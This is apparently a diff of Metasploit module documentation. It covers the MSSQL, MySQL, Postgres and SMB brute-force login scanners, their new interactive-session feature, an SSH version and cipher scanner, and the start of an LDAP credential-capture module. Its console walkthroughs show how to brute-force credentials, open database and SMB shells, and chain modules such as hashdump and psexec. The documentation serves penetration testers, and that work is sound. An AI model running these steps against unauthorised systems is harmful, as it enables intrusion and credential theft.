|
||||
|
||||
## Scenarios
|
||||
```
|
||||
|
||||
```msf
|
||||
msf > use scanner/mssql/mssql_login
|
||||
msf6 auxiliary(scanner/mssql/mssql_login) > set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
|
||||
@@ -12,7 +12,7 @@ This auxiliary module is a brute-force login tool for MySQL servers.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
```msf
|
||||
msf > use auxiliary/scanner/mysql/mysql_login
|
||||
msf auxiliary(mysql_login) > set PASS_FILE /tmp/passes.txt
|
||||
PASS_FILE => /tmp/passes.txt
|
||||
@@ -61,3 +61,154 @@ msf auxiliary(mysql_login) > run
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(mysql_login) >
|
||||
```
|
||||
|
||||
## Obtaining an Interactive Session
|
||||
|
||||
The CreateSession option allows you to obtain an interactive session
|
||||
for the MySQL client you're connecting to. The run command with CreateSession
|
||||
set to true should give you an interactive session:
|
||||
|
||||
```msf
|
||||
run rhost=127.0.0.1 rport=4306 username=root password=password createsession=true
|
||||
|
||||
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Found remote MySQL version 11.2.2
|
||||
[+] 127.0.0.1:4306 - 127.0.0.1:4306 - Success: 'root:password'
|
||||
[*] MySQL session 1 opened (127.0.0.1:53241 -> 127.0.0.1:4306) at 2024-03-12 12:40:46 -0500
|
||||
[*] 127.0.0.1:4306 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
mysql @ 127.0.0.1:4306 >
|
||||
```
|
||||
|
||||
You can interact with your new session using `sessions -i -1` or `sessions -i <session id>`.
|
||||
You can also use `help` to get more information about how to use your session.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
2 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:61428 -> 192.168.2.242:1433 (192.168.2.242)
|
||||
3 mysql MySQL root @ 127.0.0.1:4306 127.0.0.1:61450 -> 127.0.0.1:4306 (127.0.0.1)
|
||||
|
||||
msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i 3
|
||||
[*] Starting interaction with 3...
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
mysql @ 127.0.0.1:4306 > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the PostgreSQL session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
MySQL Client Commands
|
||||
=====================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
query Run a single SQL query
|
||||
query_interactive Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/mysql/mysql_enum
|
||||
auxiliary/admin/mysql/mysql_sql
|
||||
auxiliary/scanner/mysql/mysql_file_enum
|
||||
auxiliary/scanner/mysql/mysql_hashdump
|
||||
auxiliary/scanner/mysql/mysql_schemadump
|
||||
auxiliary/scanner/mysql/mysql_version
|
||||
auxiliary/scanner/mysql/mysql_writable_dirs
|
||||
exploit/multi/mysql/mysql_udf_payload
|
||||
exploit/windows/mysql/mysql_mof
|
||||
exploit/windows/mysql/mysql_start_up
|
||||
```
|
||||
|
||||
Once you've done that, you can run any MySQL query against the target using the `query` command:
|
||||
|
||||
```msf
|
||||
mysql @ 127.0.0.1:4306 > query -h
|
||||
Usage: query
|
||||
|
||||
Run a single SQL query on the target.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-h, --help Help menu.
|
||||
-i, --interact Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
Examples:
|
||||
|
||||
query SHOW DATABASES;
|
||||
query USE information_schema;
|
||||
query SELECT * FROM SQL_FUNCTIONS;
|
||||
query SELECT version();
|
||||
|
||||
mysql @ 127.0.0.1:4306 > query 'SELECT version();'
|
||||
Response
|
||||
========
|
||||
|
||||
# version()
|
||||
- ---------
|
||||
0 11.2.2-MariaDB-1:11.2.2+maria~ubu2204
|
||||
```
|
||||
|
||||
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
|
||||
|
||||
```msf
|
||||
mysql @ 127.0.0.1:4306 > query_interactive -h
|
||||
Usage: query_interactive
|
||||
|
||||
Go into an interactive SQL shell where SQL queries can be executed.
|
||||
To exit, type 'exit', 'quit', 'end' or 'stop'.
|
||||
|
||||
mysql @ 127.0.0.1:4306 > query_interactive
|
||||
[*] Starting interactive SQL shell for mysql @ 127.0.0.1:4306
|
||||
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
|
||||
|
||||
SQL >> SELECT table_name
|
||||
SQL *> FROM information_schema.tables
|
||||
SQL *> LIMIT 2;
|
||||
[*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2;
|
||||
Response
|
||||
========
|
||||
|
||||
# table_name
|
||||
- ----------
|
||||
0 ALL_PLUGINS
|
||||
1 APPLICABLE_ROLES
|
||||
|
||||
SQL >>
|
||||
```
|
||||
|
||||
@@ -0,0 +1,168 @@
|
||||
## Description
|
||||
|
||||
This auxiliary module is a brute-force login tool for Postgres servers.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/postgres/postgres_login`
|
||||
2. Do: `set PASS_FILE [file containing passwords]`
|
||||
3. Do: `set RHOSTS [IP]`
|
||||
4. Do: `set USER_FILE [file containing usernames]`
|
||||
5. Do: `set DATABASE [template name]`
|
||||
6. Do: `run`
|
||||
|
||||
The above USER_FILE and PASS_FILE options can be replaced with USERNAME
|
||||
and PASSWORD if you know the credentials.
|
||||
|
||||
## Getting an Interactive Session
|
||||
|
||||
The CreateSession option allows you to obtain an interactive session
|
||||
for the Postgres client you're connecting to. The run command with CreateSession
|
||||
set to true should give you an interactive session.
|
||||
|
||||
For example:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true
|
||||
```
|
||||
|
||||
Should yield:
|
||||
|
||||
```msf
|
||||
[+] 127.0.0.1:5432 - Login Successful: postgres:password@template1
|
||||
[*] PostgreSQL session 1 opened (127.0.0.1:61324 -> 127.0.0.1:5432) at 2024-03-15 14:00:12 -0500
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
You can interact with your session using `sessions -i -1` or `sessions <session id>`.
|
||||
Use the help command for more info.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/postgres/postgres_login) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 postgresql PostgreSQL postgres @ 127.0.0.1:5432 127.0.0.1:61324 -> 127.0.0.1:5432 (127.0.0.1)
|
||||
|
||||
msf6 auxiliary(scanner/postgres/postgres_login) > sessions -i 1
|
||||
[*] Starting interaction with 1...
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
postgresql @ 127.0.0.1:5432 (template1) > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the PostgreSQL session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
PostgreSQL Client Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
query Run a single SQL query
|
||||
query_interactive Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/postgres/postgres_readfile
|
||||
auxiliary/admin/postgres/postgres_sql
|
||||
auxiliary/scanner/postgres/postgres_hashdump
|
||||
auxiliary/scanner/postgres/postgres_schemadump
|
||||
auxiliary/scanner/postgres/postgres_version
|
||||
exploit/linux/postgres/postgres_payload
|
||||
exploit/multi/postgres/postgres_copy_from_program_cmd_exec
|
||||
exploit/multi/postgres/postgres_createlang
|
||||
exploit/windows/postgres/postgres_payload
|
||||
```
|
||||
|
||||
Once you've done that, you can run any Postgres query against the target using the `query` command:
|
||||
|
||||
```msf
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query -h
|
||||
Usage: query
|
||||
|
||||
Run a single SQL query on the target.
|
||||
|
||||
OPTIONS:
|
||||
|
||||
-h, --help Help menu.
|
||||
-i, --interact Enter an interactive prompt for running multiple SQL queries
|
||||
|
||||
Examples:
|
||||
|
||||
query SELECT user;
|
||||
query SELECT version();
|
||||
query SELECT * FROM pg_catalog.pg_tables;
|
||||
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query 'SELECT version();'
|
||||
[*] SELECT 1
|
||||
|
||||
Response
|
||||
========
|
||||
|
||||
# version
|
||||
- -------
|
||||
0 PostgreSQL 14.1 on aarch64-apple-darwin20.6.0, compiled by Apple clang version 12.0.5 (clang-1205.0.22.9), 64-bit
|
||||
```
|
||||
|
||||
Alternatively you can enter a SQL prompt via the `query_interactive` command which supports multiline commands:
|
||||
|
||||
```msf
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query_interactive -h
|
||||
Usage: query_interactive
|
||||
|
||||
Go into an interactive SQL shell where SQL queries can be executed.
|
||||
To exit, type 'exit', 'quit', 'end' or 'stop'.
|
||||
|
||||
postgresql @ 127.0.0.1:5432 (template1) > query_interactive
|
||||
[*] Starting interactive SQL shell for postgresql @ 127.0.0.1:5432 (template1)
|
||||
[*] SQL commands ending with ; will be executed on the remote server. Use the exit command to exit.
|
||||
|
||||
SQL >> SELECT table_name
|
||||
SQL *> FROM information_schema.tables
|
||||
SQL *> LIMIT 2;
|
||||
[*] Executing query: SELECT table_name FROM information_schema.tables LIMIT 2;
|
||||
[*] SELECT 2
|
||||
|
||||
Response
|
||||
========
|
||||
|
||||
# table_name
|
||||
- ----------
|
||||
0 pg_statistic
|
||||
1 pg_type
|
||||
|
||||
SQL >>
|
||||
```
|
||||
@@ -8,7 +8,7 @@ To use smb_login, make sure you are able to connect to a SMB service that suppor
|
||||
|
||||
The following demonstrates a basic scenario of using the [built-in wordlists](https://github.com/rapid7/metasploit-framework/tree/master/data/wordlists) to brute-force SMB:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf > use auxiliary/scanner/smb/smb_login
|
||||
msf auxiliary(smb_login) > set RHOSTS 192.168.1.80
|
||||
RHOSTS => 192.168.1.80
|
||||
@@ -21,12 +21,12 @@ msf auxiliary(smb_login) > run
|
||||
[+] 192.168.1.80:445 - 192.168.1.80:445 SMB - Success: '.\root:monkey' Administrator
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(smb_login) >
|
||||
msf auxiliary(smb_login) >
|
||||
```
|
||||
|
||||
If you have a database connected, you should also see this credential logged:
|
||||
|
||||
```
|
||||
```msf
|
||||
msf auxiliary(smb_login) > creds
|
||||
Credentials
|
||||
===========
|
||||
@@ -35,10 +35,126 @@ host origin service public private realm private_type
|
||||
---- ------ ------- ------ ------- ----- ------------
|
||||
192.168.1.80 192.168.1.80 445/tcp (smb) root monkey Password
|
||||
|
||||
msf auxiliary(smb_login)
|
||||
msf auxiliary(smb_login) >
|
||||
```
|
||||
|
||||
## Options
|
||||
## Obtaining a Session
|
||||
|
||||
When using the smb_login module, the CreateSession option can be used to obtain an interactive
|
||||
session within the smb instance. Running with the following options:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/smb/smb_login) > run CreateSession=true RHOSTS=172.14.2.164 RPORT=445 SMBDomain=windomain.local SMBPass=password SMBUser=username
|
||||
```
|
||||
|
||||
Should give you output containing:
|
||||
|
||||
```msf
|
||||
[*] 172.14.2.164:445 - 172.14.2.164:445 - Starting SMB login bruteforce
|
||||
[+] 172.14.2.164:445 - 172.14.2.164:445 - Success: 'windomain.local\username:password' Administrator
|
||||
[*] SMB session 1 opened (172.16.158.1:62793 -> 172.14.2.164:445) at 2024-03-12 17:03:09 +0000
|
||||
[*] 172.14.2.164:445 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
```
|
||||
|
||||
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
SMB (172.14.2.164) > shares
|
||||
Shares
|
||||
======
|
||||
|
||||
# Name Type comment
|
||||
- ---- ---- -------
|
||||
0 ADMIN$ DISK|SPECIAL Remote Admin
|
||||
1 C$ DISK|SPECIAL Default share
|
||||
2 foo DISK
|
||||
3 IPC$ IPC|SPECIAL Remote IPC
|
||||
|
||||
SMB (172.14.2.164) > shares -i foo
|
||||
[+] Successfully connected to foo
|
||||
SMB (172.14.2.164\foo) > ls
|
||||
ls
|
||||
===
|
||||
[truncated]
|
||||
```
|
||||
|
||||
When interacting with a session, the help command can be useful:
|
||||
|
||||
```msf
|
||||
SMB (172.14.2.164\foo) > help
|
||||
|
||||
Core Commands
|
||||
=============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
? Help menu
|
||||
background Backgrounds the current session
|
||||
bg Alias for background
|
||||
exit Terminate the SMB session
|
||||
help Help menu
|
||||
irb Open an interactive Ruby shell on the current session
|
||||
pry Open the Pry debugger on the current session
|
||||
sessions Quickly switch to another session
|
||||
|
||||
|
||||
Shares Commands
|
||||
===============
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
cat Read the file at the given path
|
||||
cd Change the current remote working directory
|
||||
delete Delete a file
|
||||
dir List all files in the current directory (alias for ls)
|
||||
download Download a file
|
||||
ls List all files in the current directory
|
||||
mkdir Make a new directory
|
||||
pwd Print the current remote working directory
|
||||
rmdir Delete a directory
|
||||
shares View the available shares and interact with one
|
||||
upload Upload a file
|
||||
|
||||
|
||||
Local File System Commands
|
||||
==========================
|
||||
|
||||
Command Description
|
||||
------- -----------
|
||||
getlwd Print local working directory (alias for lpwd)
|
||||
lcat Read the contents of a local file to the screen
|
||||
lcd Change local working directory
|
||||
ldir List local files (alias for lls)
|
||||
lls List local files
|
||||
lmkdir Create new directory on local machine
|
||||
lpwd Print local working directory
|
||||
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/dcerpc/icpr_cert
|
||||
auxiliary/admin/dcerpc/samr_computer
|
||||
auxiliary/admin/smb/delete_file
|
||||
auxiliary/admin/smb/download_file
|
||||
auxiliary/admin/smb/psexec_ntdsgrab
|
||||
auxiliary/admin/smb/upload_file
|
||||
auxiliary/gather/windows_secrets_dump
|
||||
auxiliary/scanner/smb/pipe_auditor
|
||||
auxiliary/scanner/smb/pipe_dcerpc_auditor
|
||||
auxiliary/scanner/smb/smb_enum_gpp
|
||||
auxiliary/scanner/smb/smb_enumshares
|
||||
auxiliary/scanner/smb/smb_enumusers
|
||||
auxiliary/scanner/smb/smb_enumusers_domain
|
||||
auxiliary/scanner/smb/smb_lookupsid
|
||||
exploit/windows/smb/psexec
|
||||
```
|
||||
|
||||
## Credential Options
|
||||
|
||||
By default, the smb_login module only requires the RHOSTS option to run. But in reality, you will
|
||||
also need to supply user names and passwords. The following options are available to support
|
||||
|
||||
@@ -1,34 +1,260 @@
|
||||
## Description
|
||||
|
||||
SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level. SSH is available on most every system, including Windows, but is mainly used by *nix administrators.
|
||||
|
||||
This module identifies the version of SSH service in use by the server based on the server's banner. Any SSH server should return this information.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
SSH, Secure SHell, is an encrypted network protocol used to remotely interact with an Operating System at a command line level.
|
||||
SSH is available on most every system, including Windows, but is mainly used by *nix administrators.
|
||||
|
||||
This module identifies the version of SSH service in use by the server based on the server's banner.
|
||||
Any SSH server should return this information. It also identifies the varous cryptographic settings
|
||||
and vulnerabilities associated with those.
|
||||
|
||||
This module is tested on several different SSH services, such as:
|
||||
|
||||
- Virtual testing environment: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
|
||||
- `github.com`: SSH-2.0-babeld-38be96bc
|
||||
- `gitlab.com`: SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
|
||||
|
||||
### Vulnerable Ubuntu 14.04.1
|
||||
|
||||
The following `Dockerfile` can be used to create an Ubuntu 14.04.1 image with SSH running.
|
||||
|
||||
```
|
||||
FROM ubuntu:14.04.1
|
||||
|
||||
RUN apt-get update && apt-get -y install --no-install-recommends openssh-server=1:6.6p1-2ubuntu1 openssh-client=1:6.6p1-2ubuntu1 openssh-sftp-server=1:6.6p1-2ubuntu1
|
||||
RUN mkdir /var/run/sshd
|
||||
EXPOSE 22
|
||||
|
||||
CMD ["/usr/sbin/sshd","-D"]
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/scanner/ssh/ssh_version`
|
||||
2. Do: `set rhosts [ips]`
|
||||
3. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### EXTENDED_CHECKS
|
||||
|
||||
Check for cryptographic issues. Defaults to `true`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### SSH-2.0 on GitHub
|
||||
|
||||
```
|
||||
msf5 auxiliary(scanner/ssh/ssh_version) > use auxiliary/scanner/ssh/ssh_version
|
||||
```
|
||||
msf5 > use auxiliary/scanner/ssh/ssh_version
|
||||
msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS github.com
|
||||
RHOSTS => github.com
|
||||
msf5 auxiliary(scanner/ssh/ssh_version) > run
|
||||
|
||||
[+] 140.82.118.4:22 - SSH server version: SSH-2.0-babeld-38be96bc
|
||||
[*] github.com:22 - Scanned 1 of 1 hosts (100% complete)
|
||||
[*] 140.82.113.4 - Key Fingerprint: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl
|
||||
[*] 140.82.113.4 - SSH server version: SSH-2.0-babeld-8405f9f3
|
||||
[*] 140.82.113.4 - Server Information and Encryption
|
||||
=================================
|
||||
|
||||
Type Value Note
|
||||
---- ----- ----
|
||||
encryption.compression none
|
||||
encryption.compression zlib@openssh.com
|
||||
encryption.compression zlib
|
||||
encryption.encryption chacha20-poly1305@openssh.com
|
||||
encryption.encryption aes256-gcm@openssh.com
|
||||
encryption.encryption aes128-gcm@openssh.com
|
||||
encryption.encryption aes256-ctr
|
||||
encryption.encryption aes192-ctr
|
||||
encryption.encryption aes128-ctr
|
||||
encryption.hmac hmac-sha2-512-etm@openssh.com
|
||||
encryption.hmac hmac-sha2-256-etm@openssh.com
|
||||
encryption.hmac hmac-sha2-512
|
||||
encryption.hmac hmac-sha2-256
|
||||
encryption.host_key ssh-ed25519
|
||||
encryption.host_key ecdsa-sha2-nistp256 Weak elliptic curve
|
||||
encryption.host_key rsa-sha2-512
|
||||
encryption.host_key rsa-sha2-256
|
||||
encryption.host_key ssh-rsa
|
||||
encryption.key_exchange curve25519-sha256
|
||||
encryption.key_exchange curve25519-sha256@libssh.org
|
||||
encryption.key_exchange ecdh-sha2-nistp256
|
||||
encryption.key_exchange ecdh-sha2-nistp384
|
||||
encryption.key_exchange ecdh-sha2-nistp521
|
||||
encryption.key_exchange diffie-hellman-group-exchange-sha256
|
||||
encryption.key_exchange kex-strict-s-v00@openssh.com
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
```
|
||||
|
||||
### Docker image
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/scanner/ssh/ssh_version
|
||||
msf6 auxiliary(scanner/ssh/ssh_version) > set rhosts 172.17.0.2
|
||||
rhosts => 172.17.0.2
|
||||
msf6 auxiliary(scanner/ssh/ssh_version) > set verbose true
|
||||
verbose => true
|
||||
msf6 auxiliary(scanner/ssh/ssh_version) > run
|
||||
|
||||
[*] 172.17.0.2 - Key Fingerprint: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG52hWkobwr57akGxiK6eeMN9/M5MH+sQsNPv8Mci049
|
||||
[*] 172.17.0.2 - SSH server version: SSH-2.0-OpenSSH_6.6p1 Ubuntu-2ubuntu1
|
||||
[+] 172.17.0.2 - Key Exchange (kex) diffie-hellman-group-exchange-sha1 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Key Exchange (kex) diffie-hellman-group1-sha1 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Host Key Encryption ecdsa-sha2-nistp256 uses a weak elliptic curve and should not be used.
|
||||
[+] 172.17.0.2 - HMAC hmac-md5 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - HMAC hmac-ripemd160 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - HMAC hmac-sha1-96 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - HMAC hmac-md5-96 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption arcfour256 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption arcfour128 is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption aes128-cbc is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption 3des-cbc is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption blowfish-cbc is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption cast128-cbc is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption aes192-cbc is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption aes256-cbc is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption arcfour is deprecated and should not be used.
|
||||
[+] 172.17.0.2 - Encryption rijndael-cbc@lysator.liu.se is deprecated and should not be used.
|
||||
[*] 172.17.0.2 - Server Information and Encryption
|
||||
=================================
|
||||
|
||||
Type Value Note
|
||||
---- ----- ----
|
||||
encryption.compression none
|
||||
encryption.compression zlib@openssh.com
|
||||
encryption.encryption aes128-ctr
|
||||
encryption.encryption aes192-ctr
|
||||
encryption.encryption aes256-ctr
|
||||
encryption.encryption arcfour256 Deprecated
|
||||
encryption.encryption arcfour128 Deprecated
|
||||
encryption.encryption aes128-gcm@openssh.com
|
||||
encryption.encryption aes256-gcm@openssh.com
|
||||
encryption.encryption chacha20-poly1305@openssh.com
|
||||
encryption.encryption aes128-cbc Deprecated
|
||||
encryption.encryption 3des-cbc Deprecated
|
||||
encryption.encryption blowfish-cbc Deprecated
|
||||
encryption.encryption cast128-cbc Deprecated
|
||||
encryption.encryption aes192-cbc Deprecated
|
||||
encryption.encryption aes256-cbc Deprecated
|
||||
encryption.encryption arcfour Deprecated
|
||||
encryption.encryption rijndael-cbc@lysator.liu.se Deprecated
|
||||
encryption.hmac hmac-md5-etm@openssh.com
|
||||
encryption.hmac hmac-sha1-etm@openssh.com
|
||||
encryption.hmac umac-64-etm@openssh.com
|
||||
encryption.hmac umac-128-etm@openssh.com
|
||||
encryption.hmac hmac-sha2-256-etm@openssh.com
|
||||
encryption.hmac hmac-sha2-512-etm@openssh.com
|
||||
encryption.hmac hmac-ripemd160-etm@openssh.com
|
||||
encryption.hmac hmac-sha1-96-etm@openssh.com
|
||||
encryption.hmac hmac-md5-96-etm@openssh.com
|
||||
encryption.hmac hmac-md5 Deprecated
|
||||
encryption.hmac hmac-sha1
|
||||
encryption.hmac umac-64@openssh.com
|
||||
encryption.hmac umac-128@openssh.com
|
||||
encryption.hmac hmac-sha2-256
|
||||
encryption.hmac hmac-sha2-512
|
||||
encryption.hmac hmac-ripemd160 Deprecated
|
||||
encryption.hmac hmac-ripemd160@openssh.com
|
||||
encryption.hmac hmac-sha1-96 Deprecated
|
||||
encryption.hmac hmac-md5-96 Deprecated
|
||||
encryption.host_key ssh-rsa
|
||||
encryption.host_key ssh-dss
|
||||
encryption.host_key ecdsa-sha2-nistp256 Weak elliptic curve
|
||||
encryption.host_key ssh-ed25519
|
||||
encryption.key_exchange curve25519-sha256@libssh.org
|
||||
encryption.key_exchange ecdh-sha2-nistp256
|
||||
encryption.key_exchange ecdh-sha2-nistp384
|
||||
encryption.key_exchange ecdh-sha2-nistp521
|
||||
encryption.key_exchange diffie-hellman-group-exchange-sha256
|
||||
encryption.key_exchange diffie-hellman-group-exchange-sha1 Deprecated
|
||||
encryption.key_exchange diffie-hellman-group14-sha1
|
||||
encryption.key_exchange diffie-hellman-group1-sha1 Deprecated
|
||||
fingerprint_db ssh.banner
|
||||
openssh.comment Ubuntu-2ubuntu1
|
||||
os.cpe23 cpe:/o:canonical:ubuntu_linux:14.04
|
||||
os.family Linux
|
||||
os.product Linux
|
||||
os.vendor Ubuntu
|
||||
os.version 14.04
|
||||
service.cpe23 cpe:/a:openbsd:openssh:6.6p1
|
||||
service.family OpenSSH
|
||||
service.product OpenSSH
|
||||
service.protocol ssh
|
||||
service.vendor OpenBSD
|
||||
service.version 6.6p1
|
||||
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Confirming using NMAP
|
||||
|
||||
Utilizing the [ssh2-enum-algos](https://nmap.org/nsedoc/scripts/ssh2-enum-algos.html) NMAP script.
|
||||
|
||||
```
|
||||
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-11 14:55 EST
|
||||
Nmap scan report for 172.17.0.2
|
||||
Host is up (0.000099s latency).
|
||||
|
||||
PORT STATE SERVICE VERSION
|
||||
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
|
||||
| ssh2-enum-algos:
|
||||
| kex_algorithms: (8)
|
||||
| curve25519-sha256@libssh.org
|
||||
| ecdh-sha2-nistp256
|
||||
| ecdh-sha2-nistp384
|
||||
| ecdh-sha2-nistp521
|
||||
| diffie-hellman-group-exchange-sha256
|
||||
| diffie-hellman-group-exchange-sha1
|
||||
| diffie-hellman-group14-sha1
|
||||
| diffie-hellman-group1-sha1
|
||||
| server_host_key_algorithms: (4)
|
||||
| ssh-rsa
|
||||
| ssh-dss
|
||||
| ecdsa-sha2-nistp256
|
||||
| ssh-ed25519
|
||||
| encryption_algorithms: (16)
|
||||
| aes128-ctr
|
||||
| aes192-ctr
|
||||
| aes256-ctr
|
||||
| arcfour256
|
||||
| arcfour128
|
||||
| aes128-gcm@openssh.com
|
||||
| aes256-gcm@openssh.com
|
||||
| chacha20-poly1305@openssh.com
|
||||
| aes128-cbc
|
||||
| 3des-cbc
|
||||
| blowfish-cbc
|
||||
| cast128-cbc
|
||||
| aes192-cbc
|
||||
| aes256-cbc
|
||||
| arcfour
|
||||
| rijndael-cbc@lysator.liu.se
|
||||
| mac_algorithms: (19)
|
||||
| hmac-md5-etm@openssh.com
|
||||
| hmac-sha1-etm@openssh.com
|
||||
| umac-64-etm@openssh.com
|
||||
| umac-128-etm@openssh.com
|
||||
| hmac-sha2-256-etm@openssh.com
|
||||
| hmac-sha2-512-etm@openssh.com
|
||||
| hmac-ripemd160-etm@openssh.com
|
||||
| hmac-sha1-96-etm@openssh.com
|
||||
| hmac-md5-96-etm@openssh.com
|
||||
| hmac-md5
|
||||
| hmac-sha1
|
||||
| umac-64@openssh.com
|
||||
| umac-128@openssh.com
|
||||
| hmac-sha2-256
|
||||
| hmac-sha2-512
|
||||
| hmac-ripemd160
|
||||
| hmac-ripemd160@openssh.com
|
||||
| hmac-sha1-96
|
||||
| hmac-md5-96
|
||||
| compression_algorithms: (2)
|
||||
| none
|
||||
|_ zlib@openssh.com
|
||||
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
||||
|
||||
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
|
||||
Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
|
||||
```
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module emulates an LDAP Server which accepts User Bind Request to capture the User Credentials.
|
||||
Upon receiving successful Bind Request, a `ldap_bind: Authentication method not supported (7)` error is sent to the User
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
